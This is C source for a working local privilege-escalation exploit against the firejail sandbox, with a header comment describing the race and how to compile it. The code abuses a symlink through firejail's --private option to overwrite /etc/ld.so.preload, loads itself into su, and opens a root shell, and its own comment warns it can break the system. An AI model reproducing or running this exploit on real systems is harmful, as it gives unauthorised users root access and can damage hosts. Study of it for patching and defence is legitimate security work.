/* firejail local root exploit (host to host)
*
* (C) 2017 Sebastian Krahmer under the GPL.
*
* WARNING: This exploit uses ld.so.preload technique.
* If you are in bad luck, you may end up with an unusable system.
* SO BE WARNED. ONLY TEST IT IN YOUR SAFE VM's.
*
* Get the beauty that this is a shared lib and a running
* executable at the same time, as we tamper with /etc/ld.so.preload
*
* Therefore you have to compile it like this:
*
* $ cc -fPIC -fpic -std=c11 -Wall -pedantic -c firenail.c
* $ gcc -shared -pie firenail.o -o firenail
* $ ./firenail
*
* DO NOT TELL ME THAT SELINUX WOULD HAVE PREVENTED THIS EXPLOIT.
* IF I WAS ABOUT TO BYPASS SELINUX ALONG, I WOULD HAVE DONE THE
* EXPLOIT DIFFERENTLY.
*
* Analysis: Sandboxing is cool, but it has to be done right.
* Firejail has too broad attack surface that allows users
* to specify a lot of options, where one of them eventually
* broke by accessing user-files while running with euid 0.
* There are some other similar races. Turns out that it can be
* _very difficult_ to create a generic sandbox suid wrapper thats
* secure but still flexible enough to sandbox arbitrary binaries.
*
* Tested with latest commit 699ab75654ad5ab7b48b067a2679c544cc8725f6.
*/
#define _POSIX_C_SOURCE 200212
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
const char *const ldso = "/etc/ld.so.preload";
int main();
__attribute__((constructor)) void init(void)
{
if (geteuid())
return;
unlink(ldso);
char *sh[] = {"/bin/sh", "--noprofile", "--norc", NULL};
setuid(0);
setgid(0);
execve(*sh, sh, NULL);
exit(1);
}
void die(const char *s)
{
perror(s);
exit(errno);
}
int main()
{
printf("[*] fire(j|n)ail local root exploit 2017\n\n");
char me[4096] = {0}, *home = getenv("HOME");
if (!home)
die("[-] no $HOME");
if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
die("[-] Unable to find myself");
char path[256] = {0};
snprintf(path, sizeof(path) - 1, "%s/.firenail", home);
if (mkdir(path, 0700) < 0 && errno != EEXIST)
die("[-] mkdir");
snprintf(path, sizeof(path) - 1, "%s/.firenail/.Xauthority", home);
if (symlink(ldso, path) < 0 && errno != EEXIST)
die("[-] symlink");
system("firejail --private=.firenail /usr/bin/id");
int fd = open(ldso, O_RDWR|O_TRUNC);
if (fd < 0)
die("[-] open");
write(fd, me, strlen(me));
write(fd, "\n", 1);
close(fd);
char *su[] = {"/bin/su", NULL};
execve(*su, su, NULL);
die("[-] execve su");
return -1;
}
